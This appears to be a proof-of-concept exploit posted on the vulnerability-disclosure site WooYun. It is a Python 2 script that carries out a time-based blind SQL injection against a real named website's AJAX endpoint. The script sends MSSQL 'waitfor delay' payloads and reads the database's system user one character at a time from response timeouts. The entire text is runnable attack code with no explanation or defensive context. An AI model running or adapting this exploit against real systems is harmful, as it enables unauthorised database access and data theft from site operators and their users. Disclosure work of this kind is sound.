WooYun.org

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,10):
    for payload in payloads:
        
        time.sleep(1)  #间隔一秒
        try:
           
            conn = httplib.HTTPConnection('top.chinaz.com', timeout=5)
            s = "if (ascii(substring(system_user,%s,1))=%s) waitfor delay '0:0:5' --" % (i, ord(payload))
            params = "at=changeNextList&p=2&sj=0.3962032066192478&t=XsHOEFlA0h'));" + urllib.quote(s)
            conn.request(method='GET', url= '/Action/listAjax.aspx?' + params,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            user += payload
            print '\nIn progress]', user
            break
        
print '\n[Done] User is:', user